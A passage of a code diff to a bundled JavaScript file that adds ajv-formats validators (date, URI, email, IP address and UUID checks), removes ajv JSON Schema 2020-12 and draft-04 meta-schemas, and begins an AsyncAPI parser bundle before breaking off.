t9.fullFormats = void 0, t9.fullFormats = { date: i8(o7, s7), time: i8(p7, c7), "date-time": i8(function(e12) { + const t10 = e12.split(d7); + return 2 === t10.length && o7(t10[0]) && p7(t10[1], true); + }, f8), duration: /^P(?!$)((\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+S)?)?|(\d+W)?)$/, uri: function(e12) { + return l7.test(e12) && u7.test(e12); + }, "uri-reference": /^(?:[a-z][a-z0-9+\-.]*:)?(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'"()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?(?:\?(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i, "uri-template": /^(?:(?:[^\x00-\x20"'<>%\\^`{|}]|%[0-9a-f]{2})|\{[+#./;?&=,!@|]?(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?(?:,(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?)*\})*$/i, url: /^(?:https?|ftp):\/\/(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u{00a1}-\u{ffff}]+-)*[a-z0-9\u{00a1}-\u{ffff}]+)(?:\.(?:[a-z0-9\u{00a1}-\u{ffff}]+-)*[a-z0-9\u{00a1}-\u{ffff}]+)*(?:\.(?:[a-z\u{00a1}-\u{ffff}]{2,})))(?::\d{2,5})?(?:\/[^\s]*)?$/iu, email: /^[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/i, hostname: /^(?=.{1,253}\.?$)[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[-0-9a-z]{0,61}[0-9a-z])?)*\.?$/i, ipv4: /^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$/, ipv6: /^((([0-9a-f]{1,4}:){7}([0-9a-f]{1,4}|:))|(([0-9a-f]{1,4}:){6}(:[0-9a-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9a-f]{1,4}:){5}(((:[0-9a-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9a-f]{1,4}:){4}(((:[0-9a-f]{1,4}){1,3})|((:[0-9a-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){3}(((:[0-9a-f]{1,4}){1,4})|((:[0-9a-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){2}(((:[0-9a-f]{1,4}){1,5})|((:[0-9a-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){1}(((:[0-9a-f]{1,4}){1,6})|((:[0-9a-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9a-f]{1,4}){1,7})|((:[0-9a-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))$/i, regex: function(e12) { + if (b8.test(e12)) + return false; + try { + return new RegExp(e12), true; + } catch (e13) { + return false; } - }, - $comment: { - type: "string" - }, - $defs: { - type: "object", - additionalProperties: { $dynamicRef: "#meta" } + }, uuid: /^(?:urn:uuid:)?[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i, "json-pointer": /^(?:\/(?:[^~/]|~0|~1)*)*$/, "json-pointer-uri-fragment": /^#(?:\/(?:[a-z0-9_\-.!$&'()*+,;:=@]|%[0-9a-f]{2}|~0|~1)*)*$/i, "relative-json-pointer": /^(?:0|[1-9][0-9]*)(?:#|(?:\/(?:[^~/]|~0|~1)*)*)$/, byte: function(e12) { + return m7.lastIndex = 0, m7.test(e12); + }, int32: { type: "number", validate: function(e12) { + return Number.isInteger(e12) && e12 <= y7 && e12 >= h8; + } }, int64: { type: "number", validate: function(e12) { + return Number.isInteger(e12); + } }, float: { type: "number", validate: g7 }, double: { type: "number", validate: g7 }, password: true, binary: true }, t9.fastFormats = { ...t9.fullFormats, date: i8(/^\d\d\d\d-[0-1]\d-[0-3]\d$/, s7), time: i8(/^(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)?$/i, c7), "date-time": i8(/^\d\d\d\d-[0-1]\d-[0-3]\d[t\s](?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)$/i, f8), uri: /^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/)?[^\s]*$/i, "uri-reference": /^(?:(?:[a-z][a-z0-9+\-.]*:)?\/?\/)?(?:[^\\\s#][^\s#]*)?(?:#[^\\\s]*)?$/i, email: /^[a-z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)*$/i }, t9.formatNames = Object.keys(t9.fullFormats); + const n8 = /^(\d\d\d\d)-(\d\d)-(\d\d)$/, r8 = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]; + function o7(e12) { + const t10 = n8.exec(e12); + if (!t10) + return false; + const i9 = +t10[1], o8 = +t10[2], s8 = +t10[3]; + return o8 >= 1 && o8 <= 12 && s8 >= 1 && s8 <= (2 === o8 && function(e13) { + return e13 % 4 == 0 && (e13 % 100 != 0 || e13 % 400 == 0); + }(i9) ? 29 : r8[o8]); } - }, - $defs: { - anchorString: { - type: "string", - pattern: "^[A-Za-z_][-A-Za-z0-9._]*$" - }, - uriString: { - type: "string", - format: "uri" - }, - uriReferenceString: { - type: "string", - format: "uri-reference" + function s7(e12, t10) { + if (e12 && t10) + return e12 > t10 ? 1 : e12 < t10 ? -1 : 0; } - } - }; - } -}); - -// node_modules/ajv/dist/refs/json-schema-2020-12/meta/format-annotation.json -var require_format_annotation = __commonJS({ - "node_modules/ajv/dist/refs/json-schema-2020-12/meta/format-annotation.json"(exports28, module5) { - module5.exports = { - $schema: "https://json-schema.org/draft/2020-12/schema", - $id: "https://json-schema.org/draft/2020-12/meta/format-annotation", - $vocabulary: { - "https://json-schema.org/draft/2020-12/vocab/format-annotation": true - }, - $dynamicAnchor: "meta", - title: "Format vocabulary meta-schema for annotation results", - type: ["object", "boolean"], - properties: { - format: { type: "string" } - } - }; - } -}); - -// node_modules/ajv/dist/refs/json-schema-2020-12/meta/meta-data.json -var require_meta_data = __commonJS({ - "node_modules/ajv/dist/refs/json-schema-2020-12/meta/meta-data.json"(exports28, module5) { - module5.exports = { - $schema: "https://json-schema.org/draft/2020-12/schema", - $id: "https://json-schema.org/draft/2020-12/meta/meta-data", - $vocabulary: { - "https://json-schema.org/draft/2020-12/vocab/meta-data": true - }, - $dynamicAnchor: "meta", - title: "Meta-data vocabulary meta-schema", - type: ["object", "boolean"], - properties: { - title: { - type: "string" - }, - description: { - type: "string" - }, - default: true, - deprecated: { - type: "boolean", - default: false - }, - readOnly: { - type: "boolean", - default: false - }, - writeOnly: { - type: "boolean", - default: false - }, - examples: { - type: "array", - items: true + const a7 = /^(\d\d):(\d\d):(\d\d)(\.\d+)?(z|[+-]\d\d(?::?\d\d)?)?$/i; + function p7(e12, t10) { + const i9 = a7.exec(e12); + if (!i9) + return false; + const n9 = +i9[1], r9 = +i9[2], o8 = +i9[3], s8 = i9[5]; + return (n9 <= 23 && r9 <= 59 && o8 <= 59 || 23 === n9 && 59 === r9 && 60 === o8) && (!t10 || "" !== s8); } - } - }; - } -}); - -// node_modules/ajv/dist/refs/json-schema-2020-12/meta/validation.json -var require_validation2 = __commonJS({ - "node_modules/ajv/dist/refs/json-schema-2020-12/meta/validation.json"(exports28, module5) { - module5.exports = { - $schema: "https://json-schema.org/draft/2020-12/schema", - $id: "https://json-schema.org/draft/2020-12/meta/validation", - $vocabulary: { - "https://json-schema.org/draft/2020-12/vocab/validation": true - }, - $dynamicAnchor: "meta", - title: "Validation vocabulary meta-schema", - type: ["object", "boolean"], - properties: { - type: { - anyOf: [ - { $ref: "#/$defs/simpleTypes" }, - { - type: "array", - items: { $ref: "#/$defs/simpleTypes" }, - minItems: 1, - uniqueItems: true - } - ] - }, - const: true, - enum: { - type: "array", - items: true - }, - multipleOf: { - type: "number", - exclusiveMinimum: 0 - }, - maximum: { - type: "number" - }, - exclusiveMaximum: { - type: "number" - }, - minimum: { - type: "number" - }, - exclusiveMinimum: { - type: "number" - }, - maxLength: { $ref: "#/$defs/nonNegativeInteger" }, - minLength: { $ref: "#/$defs/nonNegativeIntegerDefault0" }, - pattern: { - type: "string", - format: "regex" - }, - maxItems: { $ref: "#/$defs/nonNegativeInteger" }, - minItems: { $ref: "#/$defs/nonNegativeIntegerDefault0" }, - uniqueItems: { - type: "boolean", - default: false - }, - maxContains: { $ref: "#/$defs/nonNegativeInteger" }, - minContains: { - $ref: "#/$defs/nonNegativeInteger", - default: 1 - }, - maxProperties: { $ref: "#/$defs/nonNegativeInteger" }, - minProperties: { $ref: "#/$defs/nonNegativeIntegerDefault0" }, - required: { $ref: "#/$defs/stringArray" }, - dependentRequired: { - type: "object", - additionalProperties: { - $ref: "#/$defs/stringArray" - } + function c7(e12, t10) { + if (!e12 || !t10) + return; + const i9 = a7.exec(e12), n9 = a7.exec(t10); + return i9 && n9 ? (e12 = i9[1] + i9[2] + i9[3] + (i9[4] || "")) > (t10 = n9[1] + n9[2] + n9[3] + (n9[4] || "")) ? 1 : e12 < t10 ? -1 : 0 : void 0; } - }, - $defs: { - nonNegativeInteger: { - type: "integer", - minimum: 0 - }, - nonNegativeIntegerDefault0: { - $ref: "#/$defs/nonNegativeInteger", - default: 0 - }, - simpleTypes: { - enum: ["array", "boolean", "integer", "null", "number", "object", "string"] - }, - stringArray: { - type: "array", - items: { type: "string" }, - uniqueItems: true, - default: [] + const d7 = /t|\s/i; + function f8(e12, t10) { + if (!e12 || !t10) + return; + const [i9, n9] = e12.split(d7), [r9, o8] = t10.split(d7), a8 = s7(i9, r9); + return void 0 !== a8 ? a8 || c7(n9, o8) : void 0; } - } - }; - } -}); - -// node_modules/ajv/dist/refs/json-schema-2020-12/index.js -var require_json_schema_2020_12 = __commonJS({ - "node_modules/ajv/dist/refs/json-schema-2020-12/index.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var metaSchema = require_schema(); - var applicator = require_applicator2(); - var unevaluated = require_unevaluated2(); - var content = require_content(); - var core2 = require_core3(); - var format5 = require_format_annotation(); - var metadata = require_meta_data(); - var validation = require_validation2(); - var META_SUPPORT_DATA = ["/properties"]; - function addMetaSchema2020($data) { - ; - [ - metaSchema, - applicator, - unevaluated, - content, - core2, - with$data(this, format5), - metadata, - with$data(this, validation) - ].forEach((sch) => this.addMetaSchema(sch, void 0, false)); - return this; - function with$data(ajv2, sch) { - return $data ? ajv2.$dataMetaSchema(sch, META_SUPPORT_DATA) : sch; - } - } - exports28.default = addMetaSchema2020; - } -}); - -// node_modules/ajv/dist/2020.js -var require__ = __commonJS({ - "node_modules/ajv/dist/2020.js"(exports28, module5) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.MissingRefError = exports28.ValidationError = exports28.CodeGen = exports28.Name = exports28.nil = exports28.stringify = exports28.str = exports28._ = exports28.KeywordCxt = exports28.Ajv2020 = void 0; - var core_1 = require_core(); - var draft2020_1 = require_draft2020(); - var discriminator_1 = require_discriminator(); - var json_schema_2020_12_1 = require_json_schema_2020_12(); - var META_SCHEMA_ID = "https://json-schema.org/draft/2020-12/schema"; - var Ajv2020 = class extends core_1.default { - constructor(opts = {}) { - super({ - ...opts, - dynamicRef: true, - next: true, - unevaluated: true - }); - } - _addVocabularies() { - super._addVocabularies(); - draft2020_1.default.forEach((v8) => this.addVocabulary(v8)); - if (this.opts.discriminator) - this.addKeyword(discriminator_1.default); - } - _addDefaultMetaSchema() { - super._addDefaultMetaSchema(); - const { $data, meta } = this.opts; - if (!meta) - return; - json_schema_2020_12_1.default.call(this, $data); - this.refs["http://json-schema.org/schema"] = META_SCHEMA_ID; - } - defaultMeta() { - return this.opts.defaultMeta = super.defaultMeta() || (this.getSchema(META_SCHEMA_ID) ? META_SCHEMA_ID : void 0); - } - }; - exports28.Ajv2020 = Ajv2020; - module5.exports = exports28 = Ajv2020; - module5.exports.Ajv2020 = Ajv2020; - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.default = Ajv2020; - var validate_1 = require_validate(); - Object.defineProperty(exports28, "KeywordCxt", { enumerable: true, get: function() { - return validate_1.KeywordCxt; - } }); - var codegen_1 = require_codegen(); - Object.defineProperty(exports28, "_", { enumerable: true, get: function() { - return codegen_1._; - } }); - Object.defineProperty(exports28, "str", { enumerable: true, get: function() { - return codegen_1.str; - } }); - Object.defineProperty(exports28, "stringify", { enumerable: true, get: function() { - return codegen_1.stringify; - } }); - Object.defineProperty(exports28, "nil", { enumerable: true, get: function() { - return codegen_1.nil; - } }); - Object.defineProperty(exports28, "Name", { enumerable: true, get: function() { - return codegen_1.Name; - } }); - Object.defineProperty(exports28, "CodeGen", { enumerable: true, get: function() { - return codegen_1.CodeGen; - } }); - var validation_error_1 = require_validation_error(); - Object.defineProperty(exports28, "ValidationError", { enumerable: true, get: function() { - return validation_error_1.default; - } }); - var ref_error_1 = require_ref_error(); - Object.defineProperty(exports28, "MissingRefError", { enumerable: true, get: function() { - return ref_error_1.default; - } }); - } -}); - -// node_modules/ajv-draft-04/dist/vocabulary/core.js -var require_core4 = __commonJS({ - "node_modules/ajv-draft-04/dist/vocabulary/core.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var ref_1 = require_ref(); - var core2 = [ - "$schema", - "id", - "$defs", - { keyword: "$comment" }, - "definitions", - ref_1.default - ]; - exports28.default = core2; - } -}); - -// node_modules/ajv-draft-04/dist/vocabulary/validation/limitNumber.js -var require_limitNumber2 = __commonJS({ - "node_modules/ajv-draft-04/dist/vocabulary/validation/limitNumber.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var core_1 = require_core(); - var codegen_1 = require_codegen(); - var ops = codegen_1.operators; - var KWDs = { - maximum: { - exclusive: "exclusiveMaximum", - ops: [ - { okStr: "<=", ok: ops.LTE, fail: ops.GT }, - { okStr: "<", ok: ops.LT, fail: ops.GTE } - ] - }, - minimum: { - exclusive: "exclusiveMinimum", - ops: [ - { okStr: ">=", ok: ops.GTE, fail: ops.LT }, - { okStr: ">", ok: ops.GT, fail: ops.LTE } - ] - } - }; - var error2 = { - message: (cxt) => core_1.str`must be ${kwdOp(cxt).okStr} ${cxt.schemaCode}`, - params: (cxt) => core_1._`{comparison: ${kwdOp(cxt).okStr}, limit: ${cxt.schemaCode}}` - }; - var def = { - keyword: Object.keys(KWDs), - type: "number", - schemaType: "number", - $data: true, - error: error2, - code(cxt) { - const { data, schemaCode } = cxt; - cxt.fail$data(core_1._`${data} ${kwdOp(cxt).fail} ${schemaCode} || isNaN(${data})`); - } - }; - function kwdOp(cxt) { - var _a2; - const keyword = cxt.keyword; - const opsIdx = ((_a2 = cxt.parentSchema) === null || _a2 === void 0 ? void 0 : _a2[KWDs[keyword].exclusive]) ? 1 : 0; - return KWDs[keyword].ops[opsIdx]; - } - exports28.default = def; - } -}); - -// node_modules/ajv-draft-04/dist/vocabulary/validation/limitNumberExclusive.js -var require_limitNumberExclusive = __commonJS({ - "node_modules/ajv-draft-04/dist/vocabulary/validation/limitNumberExclusive.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var KWDs = { - exclusiveMaximum: "maximum", - exclusiveMinimum: "minimum" - }; - var def = { - keyword: Object.keys(KWDs), - type: "number", - schemaType: "boolean", - code({ keyword, parentSchema }) { - const limitKwd = KWDs[keyword]; - if (parentSchema[limitKwd] === void 0) { - throw new Error(`${keyword} can only be used with ${limitKwd}`); - } - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv-draft-04/dist/vocabulary/validation/index.js -var require_validation3 = __commonJS({ - "node_modules/ajv-draft-04/dist/vocabulary/validation/index.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var limitNumber_1 = require_limitNumber2(); - var limitNumberExclusive_1 = require_limitNumberExclusive(); - var multipleOf_1 = require_multipleOf(); - var limitLength_1 = require_limitLength(); - var pattern_1 = require_pattern2(); - var limitProperties_1 = require_limitProperties(); - var required_1 = require_required2(); - var limitItems_1 = require_limitItems(); - var uniqueItems_1 = require_uniqueItems(); - var const_1 = require_const(); - var enum_1 = require_enum2(); - var validation = [ - // number - limitNumber_1.default, - limitNumberExclusive_1.default, - multipleOf_1.default, - // string - limitLength_1.default, - pattern_1.default, - // object - limitProperties_1.default, - required_1.default, - // array - limitItems_1.default, - uniqueItems_1.default, - // any - { keyword: "type", schemaType: ["string", "array"] }, - { keyword: "nullable", schemaType: "boolean" }, - const_1.default, - enum_1.default - ]; - exports28.default = validation; - } -}); - -// node_modules/ajv-draft-04/dist/vocabulary/draft4.js -var require_draft4 = __commonJS({ - "node_modules/ajv-draft-04/dist/vocabulary/draft4.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var core_1 = require_core4(); - var validation_1 = require_validation3(); - var applicator_1 = require_applicator(); - var format_1 = require_format2(); - var metadataVocabulary = ["title", "description", "default"]; - var draft4Vocabularies = [ - core_1.default, - validation_1.default, - applicator_1.default(), - format_1.default, - metadataVocabulary - ]; - exports28.default = draft4Vocabularies; - } -}); - -// node_modules/ajv-draft-04/dist/refs/json-schema-draft-04.json -var require_json_schema_draft_04 = __commonJS({ - "node_modules/ajv-draft-04/dist/refs/json-schema-draft-04.json"(exports28, module5) { - module5.exports = { - id: "http://json-schema.org/draft-04/schema#", - $schema: "http://json-schema.org/draft-04/schema#", - description: "Core schema meta-schema", - definitions: { - schemaArray: { - type: "array", - minItems: 1, - items: { $ref: "#" } - }, - positiveInteger: { - type: "integer", - minimum: 0 - }, - positiveIntegerDefault0: { - allOf: [{ $ref: "#/definitions/positiveInteger" }, { default: 0 }] - }, - simpleTypes: { - enum: ["array", "boolean", "integer", "null", "number", "object", "string"] - }, - stringArray: { - type: "array", - items: { type: "string" }, - minItems: 1, - uniqueItems: true + const l7 = /\/|:/, u7 = /^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)(?:\?(?:[a-z0-9\-._~!$&'()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i, m7 = /^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/gm, h8 = -(2 ** 31), y7 = 2 ** 31 - 1; + function g7() { + return true; } - }, - type: "object", - properties: { - id: { - type: "string", - format: "uri" - }, - $schema: { - type: "string", - format: "uri" - }, - title: { - type: "string" - }, - description: { - type: "string" - }, - default: {}, - multipleOf: { - type: "number", - minimum: 0, - exclusiveMinimum: true - }, - maximum: { - type: "number" - }, - exclusiveMaximum: { - type: "boolean", - default: false - }, - minimum: { - type: "number" - }, - exclusiveMinimum: { - type: "boolean", - default: false - }, - maxLength: { $ref: "#/definitions/positiveInteger" }, - minLength: { $ref: "#/definitions/positiveIntegerDefault0" }, - pattern: { - type: "string", - format: "regex" - }, - additionalItems: { - anyOf: [{ type: "boolean" }, { $ref: "#" }], - default: {} - }, - items: { - anyOf: [{ $ref: "#" }, { $ref: "#/definitions/schemaArray" }], - default: {} - }, - maxItems: { $ref: "#/definitions/positiveInteger" }, - minItems: { $ref: "#/definitions/positiveIntegerDefault0" }, - uniqueItems: { - type: "boolean", - default: false - }, - maxProperties: { $ref: "#/definitions/positiveInteger" }, - minProperties: { $ref: "#/definitions/positiveIntegerDefault0" }, - required: { $ref: "#/definitions/stringArray" }, - additionalProperties: { - anyOf: [{ type: "boolean" }, { $ref: "#" }], - default: {} - }, - definitions: { - type: "object", - additionalProperties: { $ref: "#" }, - default: {} - }, - properties: { - type: "object", - additionalProperties: { $ref: "#" }, - default: {} - }, - patternProperties: { - type: "object", - additionalProperties: { $ref: "#" }, - default: {} - }, - dependencies: { - type: "object", - additionalProperties: { - anyOf: [{ $ref: "#" }, { $ref: "#/definitions/stringArray" }] - } - }, - enum: { - type: "array", - minItems: 1, - uniqueItems: true - }, - type: { - anyOf: [ - { $ref: "#/definitions/simpleTypes" }, - { - type: "array", - items: { $ref: "#/definitions/simpleTypes" }, - minItems: 1, - uniqueItems: true - } - ] - }, - allOf: { $ref: "#/definitions/schemaArray" }, - anyOf: { $ref: "#/definitions/schemaArray" }, - oneOf: { $ref: "#/definitions/schemaArray" }, - not: { $ref: "#" } - }, - dependencies: { - exclusiveMaximum: ["maximum"], - exclusiveMinimum: ["minimum"] - }, - default: {} - }; - } -}); - -// node_modules/ajv-draft-04/dist/index.js -var require_dist = __commonJS({ - "node_modules/ajv-draft-04/dist/index.js"(exports28, module5) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.CodeGen = exports28.Name = exports28.nil = exports28.stringify = exports28.str = exports28._ = exports28.KeywordCxt = void 0; - var core_1 = require_core(); - var draft4_1 = require_draft4(); - var discriminator_1 = require_discriminator(); - var draft4MetaSchema = require_json_schema_draft_04(); - var META_SUPPORT_DATA = ["/properties"]; - var META_SCHEMA_ID = "http://json-schema.org/draft-04/schema"; - var Ajv7 = class extends core_1.default { - constructor(opts = {}) { - super({ - ...opts, - schemaId: "id" - }); - } - _addVocabularies() { - super._addVocabularies(); - draft4_1.default.forEach((v8) => this.addVocabulary(v8)); - if (this.opts.discriminator) - this.addKeyword(discriminator_1.default); - } - _addDefaultMetaSchema() { - super._addDefaultMetaSchema(); - if (!this.opts.meta) - return; - const metaSchema = this.opts.$data ? this.$dataMetaSchema(draft4MetaSchema, META_SUPPORT_DATA) : draft4MetaSchema; - this.addMetaSchema(metaSchema, META_SCHEMA_ID, false); - this.refs["http://json-schema.org/schema"] = META_SCHEMA_ID; - } - defaultMeta() { - return this.opts.defaultMeta = super.defaultMeta() || (this.getSchema(META_SCHEMA_ID) ? META_SCHEMA_ID : void 0); - } - }; - module5.exports = exports28 = Ajv7; - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.default = Ajv7; - var core_2 = require_core(); - Object.defineProperty(exports28, "KeywordCxt", { enumerable: true, get: function() { - return core_2.KeywordCxt; - } }); - var core_3 = require_core(); - Object.defineProperty(exports28, "_", { enumerable: true, get: function() { - return core_3._; - } }); - Object.defineProperty(exports28, "str", { enumerable: true, get: function() { - return core_3.str; - } }); - Object.defineProperty(exports28, "stringify", { enumerable: true, get: function() { - return core_3.stringify; - } }); - Object.defineProperty(exports28, "nil", { enumerable: true, get: function() { - return core_3.nil; - } }); - Object.defineProperty(exports28, "Name", { enumerable: true, get: function() { - return core_3.Name; - } }); - Object.defineProperty(exports28, "CodeGen", { enumerable: true, get: function() { - return core_3.CodeGen; - } }); - } -}); - -// node_modules/@asyncapi/parser/browser/index.js -var browser_exports = {}; -__export(browser_exports, { - Parser: () => Parser2, - default: () => browser_default -}); -var module2, exports4, AsyncAPIParserExports, Parser2, browser_default; -var init_browser2 = __esm({ - "node_modules/@asyncapi/parser/browser/index.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - module2 = { exports: {} }; - exports4 = module2.exports; - !function(e10, t8) { - "object" == typeof exports4 && "object" == typeof module2 ? module2.exports = t8() : "function" == typeof define && define.amd ? define([], t8) : "object" == typeof exports4 ? exports4.AsyncAPIParser = t8() : e10.AsyncAPIParser = t8(); - }("undefined" != typeof self ? self : void 0, () => (() => { - var e10 = { 37233: (e11, t9, i8) => { - e11.exports = { schemas: { "2.0.0": i8(4023), "2.1.0": i8(88520), "2.2.0": i8(83105), "2.3.0": i8(11306), "2.4.0": i8(64939), "2.5.0": i8(55708), "2.6.0": i8(11669), "3.0.0": i8(64292), "3.1.0": i8(28243) }, schemasWithoutId: { "2.0.0": i8(69486), "2.1.0": i8(61401), "2.2.0": i8(30192), "2.3.0": i8(85323), "2.4.0": i8(45002), "2.5.0": 